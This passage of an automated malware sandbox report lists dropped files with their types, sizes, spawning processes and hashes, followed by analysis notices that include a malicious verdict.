      Size
      7.8KiB (8016 bytes)
      Type
      data
      Runtime Process
      powershell.exe (PID: 1144)
      MD5
      80af521affb84decf8373b37b10f4c70 Copy MD5 to clipboard
      SHA1
      4c31b5d2357e02386334806b7caec5a0f907934d Copy SHA1 to clipboard
      SHA256
      d94c573bcbd1eb55e527166fad579fbb6fda4e6ed85fd06fff59def654423fc2 Copy SHA256 to clipboard
    • SBB00O7Z53W2YSHHVPUS.temp
      Download Disabled Hash Seen Before
      Size
      7.8KiB (8016 bytes)
      Type
      data
      Runtime Process
      powershell.exe (PID: 2268)
      MD5
      80af521affb84decf8373b37b10f4c70 Copy MD5 to clipboard
      SHA1
      4c31b5d2357e02386334806b7caec5a0f907934d Copy SHA1 to clipboard
      SHA256
      d94c573bcbd1eb55e527166fad579fbb6fda4e6ed85fd06fff59def654423fc2 Copy SHA256 to clipboard
    • VGO022M3YTJC29LXWQQK.temp
      Download Disabled Hash Seen Before
      Size
      7.8KiB (8016 bytes)
      Type
      data
      Runtime Process
      powershell.exe (PID: 3092)
      MD5
      80af521affb84decf8373b37b10f4c70 Copy MD5 to clipboard
      SHA1
      4c31b5d2357e02386334806b7caec5a0f907934d Copy SHA1 to clipboard
      SHA256
      d94c573bcbd1eb55e527166fad579fbb6fda4e6ed85fd06fff59def654423fc2 Copy SHA256 to clipboard
    • xClsyvppag.dll
      Overview Download Disabled Extended File Details Hash Seen Before
      Size
      3.1MiB (3208704 bytes)
      Type
      pedll 64bits executable
      Description
      PE32+ executable (DLL) (GUI) x86-64, for MS Windows
      Runtime Process
      rundll32.exe (PID: 1324)
      MD5
      015da27fdc62ebe2f89fa1701c73717a Copy MD5 to clipboard
      SHA1
      1f76500b249632ae5e13e302201f99005f714113 Copy SHA1 to clipboard
      SHA256
      1b5367233010a3c8fe2ec72da23c02359b64e77c084bed084fb5868a76866550 Copy SHA256 to clipboard
    • metina_2.exe
      Download Disabled Hash Seen Before
      Size
      249KiB (254976 bytes)
      Type
      peexe executable
      Description
      PE32 executable (GUI) Intel 80386, for MS Windows
      Runtime Process
      metina_2.exe (PID: 3584)
      MD5
      afe3978c8810112cc20fa412c8710b9b Copy MD5 to clipboard
      SHA1
      0356382c5943e1f53093dc43e7b38659849f9a08 Copy SHA1 to clipboard
      SHA256
      abb0531d5b1d8cafc93791fd4801f73493f46c90d54bdf93fde64ebd9401aebd Copy SHA256 to clipboard
    • metina_3.exe
      Overview Download Disabled Hash Seen Before
      Size
      607KiB (621056 bytes)
      Type
      peexe executable
      Description
      PE32 executable (GUI) Intel 80386, for MS Windows
      Runtime Process
      cmd.exe (PID: 3256)
      MD5
      0be66b0325abe6a745cbd3f564d24afa Copy MD5 to clipboard
      SHA1
      53de3425cd17774f76d2ce32bda27a44a2f9a4d3 Copy SHA1 to clipboard
      SHA256
      362bf6bbbd7b11b1cd82bfb8177ceb8e744f45bf5012f21b1b5e4781d26efaff Copy SHA256 to clipboard
    • metina_5.exe
      Overview Download Disabled Hash Seen Before
      Size
      443KiB (453687 bytes)
      Type
      peexe executable
      Description
      PE32 executable (GUI) Intel 80386, for MS Windows
      Runtime Process
      cmd.exe (PID: 2208)
      MD5
      7b6913d211fe886d67c5b434cd04d48f Copy MD5 to clipboard
      SHA1
      b52e0f8e00d3ead72dc25301793ed3871327ef0f Copy SHA1 to clipboard
      SHA256
      55ecbcb5950f93cb4e9b20ff6d12b3deb86e50c380cd8fb38e11aca1d583d77e Copy SHA256 to clipboard
    • fj4ghga23_fsa.txt
      Overview Download Disabled Hash Seen Before
      Size
      31B (31 bytes)
      Type
      text
      Description
      Netscape cookie, ASCII text, with CRLF line terminators
      Runtime Process
      metina_4.exe (PID: 1020)
      MD5
      b7161c0845a64ff6d7345b67ff97f3b0 Copy MD5 to clipboard
      SHA1
      d223f855da541fe8e4c1d5c50cb26da0a1deb5fc Copy SHA1 to clipboard
      SHA256
      fe9e28ff0b652e22a124b0a05382bc1ac48cbd9c7c76ca647b0c9f8542888f66 Copy SHA256 to clipboard
    • haleng.exe
      Overview Download Disabled Hash Seen Before
      Size
      967KiB (990208 bytes)
      Type
      peexe executable
      Description
      PE32 executable (GUI) Intel 80386, for MS Windows
      Runtime Process
      metina_4.exe (PID: 1020)
      MD5
      2eb68e495e4eb18c86a443b2754bbab2 Copy MD5 to clipboard
      SHA1
      82a535e1277ea7a80b809cfeb97dcfb5a5d48a37 Copy SHA1 to clipboard
      SHA256
      a9083c13dd04bf55cc8e29ab4fe8a0053edf3ffe9b1e5ec31db207a45a98aaaf Copy SHA256 to clipboard
    • install.dll
      Download Disabled Extended File Details Hash Seen Before
      Size
      48KiB (49152 bytes)
      Type
      pedll executable
      Description
      PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
      Runtime Process
      rundll32.exe (PID: 3368)
      MD5
      427d07889304daa55d6f3db902a1b5d3 Copy MD5 to clipboard
      SHA1
      5ab105878d05fbf0f80356418bf11b2d8d066570 Copy SHA1 to clipboard
      SHA256
      fd210c56f7842f454f4765937d9bb33427e25275bfc7f41696955a4a089a723f Copy SHA256 to clipboard
    • jfiag3g_gg.exe
      Overview Download Disabled Hash Seen Before
      Size
      184KiB (188416 bytes)
      Type
      peexe executable
      Description
      PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
      Runtime Process
      metina_4.exe (PID: 1020)
      MD5
      0fb7db37c28740b95e0fdf105eff7083 Copy MD5 to clipboard
      SHA1
      550a03dbf77ab05e62d07f6cac8bdb7cbf4ccfb5 Copy SHA1 to clipboard
      SHA256
      1be6afa5d0e7d70b92ce2a057ccd390f8cf7b0f9de3594aefcc5bcc1147627d0 Copy SHA256 to clipboard
    • tempfile.ps1
      Download Disabled Hash Seen Before
      Size
      352B (352 bytes)
      Type
      text
      Description
      ASCII text, with CRLF line terminators
      Runtime Process
      powershell.exe (PID: 3092)
      MD5
      188c2ff18d04599adc49001cce860c6e Copy MD5 to clipboard
      SHA1
      71112e28b2f2f30b7674344ef4bd2424d80beb79 Copy SHA1 to clipboard
      SHA256
      aed3d0d94162306a7b97cd21d3dc78d82f3a20e027bb84640af7f43dc10973e1 Copy SHA256 to clipboard
    • xgJoOVyufE0cCqwLc5B_RFQB.exe
      Overview Download Disabled Hash Seen Before
      Size
      702KiB (718848 bytes)
      Type
      peexe executable
      Description
      PE32 executable (GUI) Intel 80386, for MS Windows
      Runtime Process
      xgJoOVyufE0cCqwLc5B_RFQB.exe (PID: 1936)
      MD5
      979db74aef12ed1b9a3753672a7cfe5c Copy MD5 to clipboard
      SHA1
      3f0e1efda18e516c4c4b4cc49a3de117c2817bc9 Copy SHA1 to clipboard
      SHA256
      35d3360b4b3486d68773f46829a1d07fd947c39159ded0873dae0b092b194b97 Copy SHA256 to clipboard
    • xClsyvppag
      Download Disabled Hash Seen Before
      Size
      16KiB (16712 bytes)
      Type
      text
      Description
      XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
      Runtime Process
      powershell.exe (PID: 3156)
      MD5
      7153856a78cd2efeacb4d0501cc25d08 Copy MD5 to clipboard
      SHA1
      6d0eda838f25628d7e7e62311ae4bf1e17f6165c Copy SHA1 to clipboard
      SHA256
      00dd6a2882dd1f1c06986b94cd22520a832cb0209dea7805249788578b0a2c79 Copy SHA256 to clipboard

Notifications

  • Runtime

  • A process crash was detected during the runtime analysis
  • Enforcing malicious verdict, as a reliable source indicates high confidence
  • Main report size exceeded maximum capacity and may have missing behavior or stream data
  • Network whitenoise filtering was applied
  • Not all IP/URL string resources were checked online
  • Not all file accesses are visible for PING.EXE (PID: 3316)
  • Not all file accesses are visible for bitsadmin.exe (PID: 872)
  • Not all file accesses are visible for cmd.exe (PID: 2076)
  • Not all file accesses are visible for cmd.exe (PID: 2196)
  • Not all file accesses are visible for cmd.exe (PID: 2208)
  • Not all file accesses are visible for cmd.exe (PID: 2272)
  • Not all file accesses are visible for cmd.exe (PID: 2516)
  • Not all file accesses are visible for cmd.exe (PID: 3256)
  • Not all file accesses are visible for cmd.exe (PID: 3412)
  • Not all file accesses are visible for cmd.exe (PID: 3552)
  • Not all file accesses are visible for cmd.exe (PID: 3596)
  • Not all file accesses are visible for powershell.exe (PID: 1144)
  • Not all file accesses are visible for powershell.exe (PID: 1616)
  • Not all file accesses are visible for powershell.exe (PID: 2340)
  • Not all file accesses are visible for powershell.exe (PID: 3092)
  • Not all file accesses are visible for powershell.exe (PID: 3436)
  • Not all file accesses are visible for powershell.exe (PID: 3844)
  • Not all file accesses are visible for powershell.exe (PID: 856)
  • Not all sources for indicator ID "api-0" are available in the report
  • Not all sources for indicator ID "api-1" are available in the report
  • Not all sources for indicator ID "api-12" are available in the report
  • Not all sources for indicator ID "api-2" are available in the report
  • Not all sources for indicator ID "api-25" are available in the report
  • Not all sources for indicator ID "api-26" are available in the report
  • Not all sources for indicator ID "api-37" are available in the report
  • Not all sources for indicator ID "api-4" are available in the report
  • Not all sources for indicator ID "api-47" are available in the report
  • Not all sources for indicator ID "api-51" are available in the report
  • Not all sources for indicator ID "api-55" are available in the report
  • Not all sources for indicator ID "api-6" are available in the report
  • Not all sources for indicator ID "api-70" are available in the report
  • Not all sources for indicator ID "api-8701" are available in the report
  • Not all sources for indicator ID "api-9" are available in the report
  • Not all sources for indicator ID "binary-0" are available in the report
  • Not all sources for indicator ID "binary-1" are available in the report
  • Not all sources for indicator ID "binary-16" are available in the report
  • Not all sources for indicator ID "hooks-0" are available in the report
  • Not all sources for indicator ID "hooks-8" are available in the report
  • Not all sources for indicator ID "mutant-0" are available in the report
  • Not all sources for indicator ID "network-0" are available in the report
  • Not all sources for indicator ID "network-1" are available in the report
  • Not all sources for indicator ID "network-2" are available in the report
  • Not all sources for indicator ID "network-23" are available in the report
  • Not all sources for indicator ID "network-4" are available in the report
  • Not all sources for indicator ID "registry-1" are available in the report
  • Not all sources for indicator ID "registry-17" are available in the report
  • Not all sources for indicator ID "registry-18" are available in the report
  • Not all sources for indicator ID "registry-19" are available in the report
  • Not all sources for indicator ID "registry-27" are available in the report
  • Not all sources for indicator ID "registry-35" are available in the report
  • Not all sources for indicator ID "registry-55" are available in the report
  • Not all sources for indicator ID "registry-61" are available in the report
  • Not all sources for indicator ID "registry-67" are available in the report
  • Not all sources for indicator ID "registry-72" are available in the report
  • Not all sources for indicator ID "static-0" are available in the report
  • Not all sources for indicator ID "static-1" are available in the report
  • Not all sources for indicator ID "static-17" are available in the report
  • Not all sources for indicator ID "static-5" are available in the report
  • Not all sources for indicator ID "static-6" are available in the report
  • Not all sources for indicator ID "static-60" are available in the report
  • Not all sources for indicator ID "target-103" are available in the report
  • Not all sources for indicator ID "target-14" are available in the report
  • Not all sources for indicator ID "target-25" are available in the report
  • Some low-level data is hidden, as this is only a slim report
  • Some runtime data of duplicate spawned processes are suppressed from the report

Community